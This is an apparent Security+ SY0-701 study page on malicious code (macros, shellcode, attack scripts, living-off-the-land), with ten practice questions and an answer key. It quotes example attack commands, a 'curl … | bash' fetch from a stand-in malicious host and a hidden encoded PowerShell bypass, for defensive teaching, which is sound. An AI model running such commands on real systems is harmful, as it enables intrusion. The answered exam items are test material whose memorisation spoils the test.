COMPTIA SECURITY+ SY0-701 | DOMAIN 2 · THREATS, VULNERABILITIES, AND MITIGATIONS (22%)

Security+ 2.4 · Malicious Code

Mestre CyberSec · **Lesson 2.4 — Malicious Code** (3:40) · Assistir Vídeo no YouTube ↗ · Treino Interativo: edusouzamarques.github.io/cybersec

Executive Lesson Summary: Code do atacante: script customizado (Python/Bash/PowerShell) pra exploit conhecido; macro VBA de Office que baixa malware; shellcode. Defesa: patch, macro security (bloqueia externa), sandboxing, EDR behavioural, code review de script do usuário.

💡 Key Exam Highlights & Critical Concepts

- Macro VBA de documento Office: clássico — executa código ao abrir
- Sandbox: isola código suspeito num ambiente controlado

🎯 Exam Tips & Typical CompTIA Scenarios

- 'document that runs code when opened' = malicious macro

🚨 Beyond the Video: Official Exam Concepts, Protocols & Traps (Section 2.4 — Malicious Code)

Why is this advanced coverage required for SY0-701?: Video lectures provide foundational concepts, but CompTIA tests practical engineering judgment and requires deep familiarity with the following protocols, acronyms, and operational nuances in this domain:

• Malicious VBA Macro (VBA)

Script written in Visual Basic for Applications embedded into an Office document (Word, Excel) that executes automatically when the document is opened; the classic delivery vector for downloading and installing malware.

⚠️ ***Exam Trap:*** *Gatilho de prova: 'documento que executa código ao abrir' ou 'código embutido no Office' = macro maliciosa. Não confunda com shellcode (código de máquina do exploit) nem com script standalone. Defesa típica: macro security / bloquear macros de arquivos externos.*

• Macro Security

Application-level setting that controls macro execution, typically configured to disable all macros or block macros in files downloaded from the Internet, allowing only digitally signed macros.

⚠️ ***Exam Trap:*** *A defesa direta contra macros maliciosas é a macro security (bloquear macros de fontes externas/Internet) — resposta esperada em cenários de documento Office. Não confunda com patching (corrigir falha de software) ou EDR (detecção comportamental).*

• Shellcode

A small block of machine code injected and executed as the payload of an exploit, most commonly written to spawn a command shell for the attacker on the compromised host.

⚠️ ***Exam Trap:*** *Distinção essencial de prova: macro = código em documento Office; script = código interpretado legível (Python/PowerShell); shellcode = payload de baixo nível em código de máquina. 'Payload que abre um shell' indica shellcode.*

• Custom Attack Script

Attacker-authored code in interpreted languages such as Python, Bash, or PowerShell that automates and adapts a known exploit, modifying its fingerprint to evade signature-based defenses.

⚠️ ***Exam Trap:*** *Exploits conhecidos são facilmente modificados via scripts, então antivírus por assinatura falha — defesas de base são patching e detecção comportamental (EDR). 'Código interpretado do atacante' → script; 'código embutido em documento' → macro.*

• Sandboxing

Security technique that runs suspicious files or code in an isolated, controlled virtual environment to safely observe its behavior, detonating malware without exposing the production system.

⚠️ ***Exam Trap:*** *Gatilho: 'executa código suspeito em ambiente isolado/analisa comportamento' = sandboxing. Distinção: sandbox analisa amostra dinamicamente em ambiente separado; EDR monitora o endpoint real. Malware sofisticado pode detectar o sandbox e ocultar comportamento (evasão).*

• Endpoint Detection and Response (EDR)

Security platform that continuously monitors endpoint processes and behaviors to detect, investigate, and respond to malicious code and activities that signature-based antivirus cannot identify.

⚠️ ***Exam Trap:*** *Gatilho: 'detecção com base em comportamento no endpoint' = EDR — essencial contra scripts customizados e malware sem assinatura conhecida. Distinção: EDR age no endpoint real; sandbox isola e analisa amostras; IDS/IPS observam tráfego de rede.*

• Patch Management

Process of identifying, testing, and deploying software updates that close known vulnerabilities, eliminating the flaws exploited by attacker scripts, exploits, and malware.

⚠️ ***Exam Trap:*** *Scripts de atacante geralmente exploram falhas JÁ conhecidas e corrigidas — 'exploit conhecido' no enunciado sugere resposta com patching/atualização. Distinção: patch corrige a vulnerabilidade de origem; macro security e EDR mitigam o vetor/entrega.*

• Code Review

Manual or automated inspection of source code — including user-written scripts — to identify software flaws, vulnerabilities, or malicious functionality before the code is executed in production.

⚠️ ***Exam Trap:*** *No contexto de código malicioso: revisar scripts de usuário/automação antes de conceder privilégios ou executá-los em produção. Distinção: code review analisa o código em si (estático); sandbox executa em ambiente isolado (dinâmico).*

🏛️ Conceptual Deep Dive, Real-World Analogies & GRC Analysis

📌 Living off the Land (LotL) & LOLBins (LOLBas)

🏠 **Real-World Analogy:** Imagine a burglar breaking into an estate without carrying a crowbar, mask, or weapons in their backpack. They walk in empty-handed, head to the victim's own kitchen, grab a knife from the house's cutlery drawer, and use the homeowner's own garage tools to crack the safe. A neighbor glancing through the window only sees native household tools being operated. That is precisely what a Living off the Land (LotL) attack does: it relies on trusted, pre-installed administrative utilities (LOLBins like PowerShell, certutil, wmic, or curl) rather than downloading foreign malware binaries.

🔍 **Root Cause & Background:** Modern operating systems bundle powerful administrative utilities to facilitate system maintenance. Because these binaries are signed by Microsoft or OS vendors and inherently trusted by default, legacy signature-based antivirus solutions fail to flag or block their execution.

🛡️ **GRC Auditor Perspective:** Enforce application allowlisting and code integrity policies (AppLocker / Windows Defender Application Control - WDAC); mandate PowerShell Constrained Language Mode (CLM); and ingest process creation telemetry (Event ID 4688 with command-line auditing) and PowerShell Script Block Logging (Event ID 4104) into the central SIEM.

⚠️ **How CompTIA Tests This:** Trigger: 'attacker leverages built-in operating system binaries to download payloads and execute code while bypassing signature-based AV' -> Living off the Land (LotL) / LOLBins. Classic tools cited: certutil, PowerShell, wmic, bitsadmin, mshta.

📌 PowerShell & Execution Policy Bypass

🏠 **Real-World Analogy:** The PowerShell Execution Policy is not an armored bank vault door; it is merely a paper sign taped to a window reading: 'Please do not lean against the glass'. An attacker simply ignores the sign by appending `-ExecutionPolicy Bypass` to their command and walks straight through. The policy was never engineered as an impenetrable security boundary, but rather as an operational safety rail to prevent users from accidentally double-clicking unknown scripts.

🔍 **Root Cause & Background:** Microsoft explicitly documents that PowerShell Execution Policy is an operational safety control rather than a security boundary. Flags like `powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Enc` execute Base64-encoded instructions directly in volatile memory without ever touching the storage drive (fileless malware execution).

🛡️ **GRC Auditor Perspective:** Never accept 'Execution Policy: Restricted' as a sufficient security control during compliance audits. Mandate defense-in-depth: enforce AMSI (Antimalware Scan Interface), deploy WDAC, restrict PowerShell to Constrained Language Mode, and retain comprehensive Script Block logs for forensic accountability.

⚠️ **How CompTIA Tests This:** Trigger: 'security analyst detects PowerShell spawning with flags -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand'. CompTIA Trap: The exam tests whether Execution Policy is a security boundary; remember that it is trivial to bypass from the CLI and provides no defensive barrier against motivated adversaries.

📌 Malicious VBA Office Macros

🏠 **Real-World Analogy:** It is like receiving a certified mail envelope with a tamper seal on top reading: 'To view this confidential invoice, peel this sticker and unlatch your back window for the delivery courier'. The hurried employee clicks 'Enable Content' or 'Enable Editing'. By peeling the seal, the automated Visual Basic script embedded inside the document immediately drops a remote access payload or executes a ransomware dropper.

🔍 **Root Cause & Background:** Visual Basic for Applications (VBA) was designed to automate enterprise spreadsheets and documents, granting scripts direct operating system command execution capabilities. Attackers abuse social engineering via phishing lures (.docm/.xlsm) to entice users into dismissing application warning banners.

🛡️ **GRC Auditor Perspective:** Enforce Group Policy / Intune baselines that permanently disable macros in Office files originating from the internet (enforcing Mark of the Web - MOTW flags); mandate cryptographic code signing for vetted internal macros; and restrict macro permissions to approved accounting units.

⚠️ **How CompTIA Tests This:** Trigger: 'user opens an invoice attachment and clicks Enable Content, initiating an outbound connection to an unknown IP' -> Malicious VBA Macro. Primary mitigation: GPO blocking macros in files bearing Mark of the Web (MOTW).

📌 Bash Scripts & Linux Shell Malicious Automation

🏠 **Real-World Analogy:** It is like leaving a step-by-step instruction checklist on the desk for a courier: 'Go to the filing cabinet, photocopy the confidential roster, and dispatch it to courier box 502'. A malicious Bash script chains pre-installed utilities like `curl`, `wget`, `netcat`, and `crontab` in rapid succession. The Linux kernel executes each line without question because Bash is the authorized native shell interpreter.

🔍 **Root Cause & Background:** Linux production servers depend extensively on shell interpreters for deployment and maintenance. Threat actors exploit piping mechanisms (such as `curl -s https://malicious/setup.sh | bash`) to execute payloads directly in volatile RAM without saving artifacts to disk, establishing persistence via crontabs.

🛡️ **GRC Auditor Perspective:** Audit sudoers configurations to prevent command escalation; monitor crontab modifications across `/etc/cron*`; strip redundant shells, curl, and netcat from production containers; and enforce SELinux/AppArmor mandatory access controls.

⚠️ **How CompTIA Tests This:** Trigger: 'cron job configured to execute an external script piped directly into a shell interpreter (curl | sh)' -> Malicious Bash Scripting / Linux Living off the Land.

⚡ QUICK-REFERENCE EXAM CHEAT SHEET

Typical Exam Scenario / Practical Situation	Technical Concept & Target Answer
Attacker leverages built-in administrative tools like certutil and PowerShell to download files without installing third-party malware	**Living off the Land (LotL) / LOLBins**
PowerShell script executes despite system restrictions by supplying an argument flag to bypass execution safeguards	**Execution Policy Bypass (-ExecutionPolicy Bypass)**
Phishing email delivers an Office document prompting the user to click Enable Content to execute embedded automation routines	**Malicious VBA Macro**
Linux command downloads a remote script from the web and pipes it directly into an active shell interpreter without writing to disk	**In-Memory Bash Script Execution (curl | bash / Fileless)**
Security configuration that restricts PowerShell capabilities and prevents dangerous language primitives from executing	**PowerShell Constrained Language Mode (CLM)**
Windows security tag attached to files downloaded from the internet instructing Office applications to block macros by default	**Mark of the Web (MOTW)**

✅ Authentic Practice Questions (10 Real Exam Scenarios)

Scenario-based exam questions. Complete explanations and distractor analysis are provided in the answer key below.

QUESTION 1 · EXAM SCENARIO

A finance employee receives an email with an Excel file named Invoice_2024.xlsm. When opened, Excel displays a security warning. If macros are enabled, the VBA code uses PowerShell to download an executable from an external site. The company uses Microsoft 365 Apps and wants to stop this initial infection vector while still allowing signed finance macros from an internal file share. Which control should the security administrator implement?

A) Configure Office to block macros in files from the Internet and trust signed macros from a designated internal location.

B) Deploy EDR to terminate PowerShell processes spawned by Office applications.

C) Block all .xlsm attachments at the email gateway.

D) Install the latest Windows cumulative updates on all endpoints.

QUESTION 2 · EXAM SCENARIO

An incident responder finds a file named update.sh in /tmp on a compromised Linux server. The script contains base64-encoded commands that connect to 203.0.113.10, download a binary, and exploit a known remote code execution vulnerability. Which malicious code category best describes this artifact?

A) Malicious VBA macro

B) Shellcode

C) Custom attack script

D) Ransomware note

QUESTION 3 · EXAM SCENARIO

A security analyst examines a Word document that contains a VBA macro. The macro calls VirtualAlloc with PAGE_EXECUTE_READWRITE, copies an encoded byte array into the allocated memory, and then calls CreateThread. Which technique is the macro most likely using?

A) Custom attack script execution

B) Shellcode execution

C) Macro security bypass

D) Patch management failure

QUESTION 4 · EXAM SCENARIO

An EDR platform alerts on a workstation because winword.exe spawned powershell.exe, which connected to an external IP address and attempted to create a scheduled task. The executable involved has no known malicious signature. Which EDR capability is most important for this detection?

A) Signature-based hash matching

B) Behavioral analysis of process lineage and command lines

C) Full disk encryption

D) Data loss prevention

QUESTION 5 · EXAM SCENARIO

The security team receives a suspicious .docm file from an external partner. They want to observe the file's network connections, file writes, and registry changes without exposing a corporate workstation. Which approach should they use?

A) Sandbox detonation

B) Patch management

C) Macro signing

D) Code review

QUESTION 6 · EXAM SCENARIO

A Windows administration team downloads PowerShell scripts from public repositories to automate server maintenance. These scripts run with high privileges. Which control best reduces the risk of malicious or unsafe code in these scripts?

A) Enforce code review and approval before scripts are deployed to production.

B) Enable macro blocking in Microsoft Office.

C) Configure sandboxing for all PowerShell scripts.

D) Install antivirus signatures daily.

QUESTION 7 · EXAM SCENARIO

A legacy web server runs an unpatched content management system. Attackers are using a Python script to exploit a known remote code execution vulnerability in that CMS. Which remediation most directly prevents the exploit from succeeding?

A) Apply the vendor security patch.

B) Deploy EDR to detect the Python process.

C) Block Python execution on the server.

D) Enable macro security in Office.

QUESTION 8 · EXAM SCENARIO

A user opens an Excel file from an external vendor. The file contains a VBA macro that downloads an executable from a URL. The file was saved from an email attachment and has the Mark of the Web. The company wants to prevent this macro from running even if the user clicks Enable Content, while allowing signed finance macros from an internal share. Which Office setting should the administrator configure?

A) Block macros from running in Office files from the Internet, and trust signed macros from a designated internal location.

B) Disable all macros without notification for all users and all files.

C) Enable all macros with a warning and provide annual security awareness training.

D) Add the external vendor's email domain to Trusted Locations.

QUESTION 9 · EXAM SCENARIO

A penetration tester delivers a payload that allocates memory in a target process, writes architecture-specific machine code into it, and redirects execution to that memory. The code does not use a scripting engine and appears only in memory. Which malicious code type is this?

A) VBA macro

B) Shellcode

C) Custom Bash script

D) Macro virus

QUESTION 10 · EXAM SCENARIO

A security analyst finds an unapproved Python script on a developer workstation. The script scans internal servers and attempts to dump credentials. The developer had downloaded it from a forum and ran it with domain administrator rights. Which process failure most contributed to this risk?

A) Lack of code review and least privilege for user-run scripts

B) Outdated Office macro security settings

C) Missing email sandboxing

D) Failure to apply Windows patches

ANSWER KEY & COMPREHENSIVE DISTRACTOR EXPLANATIONS

Question 1: Option A — Configure Office to block macros in files from the Internet and trust signed macros from a designated internal location.

Correct: blocking macros in Internet-originated files stops the initial execution of the malicious VBA while trusted internal signed macros remain usable. EDR is detective and response-oriented and may act after execution; blocking all .xlsm attachments is too restrictive; patching Windows does not stop a VBA macro from downloading a payload.

Question 2: Option C — Custom attack script

Correct: a custom attack script is often a Bash, Python, or PowerShell script written to exploit a known vulnerability or automate attack steps. It is not a VBA macro, not raw shellcode, and not merely a ransom note.

Question 3: Option B — Shellcode execution

Correct: allocating executable memory, writing byte code into it, and transferring execution is characteristic of shellcode execution. A custom script would rely on an interpreter such as Python or Bash; macro security bypass and patch failure are not code execution techniques themselves.

Question 4: Option B — Behavioral analysis of process lineage and command lines

Correct: EDR behavioral analysis detects suspicious process relationships and actions, such as Office spawning PowerShell and creating scheduled tasks, even without a known signature. Hash matching may miss new or modified code; disk encryption and DLP do not detect this execution chain.

Question 5: Option A — Sandbox detonation

Correct: sandbox detonation runs the suspicious file in an isolated environment and records its behavior safely. Patch management, macro signing, and code review are preventive or development controls, not safe dynamic analysis methods.

Question 6: Option A — Enforce code review and approval before scripts are deployed to production.

Correct: code review and approval of user or admin scripts helps detect malicious logic, unsafe commands, and errors before high-privilege execution. Office macro blocking is unrelated; sandboxing every admin script is often impractical; antivirus signatures do not reliably catch custom scripts.

Question 7: Option A — Apply the vendor security patch.

Correct: patching the known vulnerability removes the flaw the custom script is exploiting. EDR can detect but does not remove the vulnerability; blocking Python may be bypassed and can break operations; Office macro security is irrelevant to a Linux web server.

Question 8: Option A — Block macros from running in Office files from the Internet, and trust signed macros from a designated internal location.

Correct: blocking Internet-originated macros directly addresses the Mark of the Web vector, and a trusted internal location allows approved signed finance macros. Disabling all macros is overly restrictive; enabling all macros is unsafe; trusting an external domain is risky and not the right control.

Question 9: Option B — Shellcode

Correct: shellcode is low-level machine code used as a payload, often injected into memory and executed. A VBA macro or Bash script depends on an interpreter; a macro virus spreads through documents but is not defined by this memory injection behavior.

Question 10: Option A — Lack of code review and least privilege for user-run scripts

Correct: the script was not reviewed, and it ran with excessive privileges. Code review and least privilege reduce the impact of malicious or unsafe custom scripts. Macro security, email sandboxing, and patching do not address an unapproved script run manually with domain admin rights.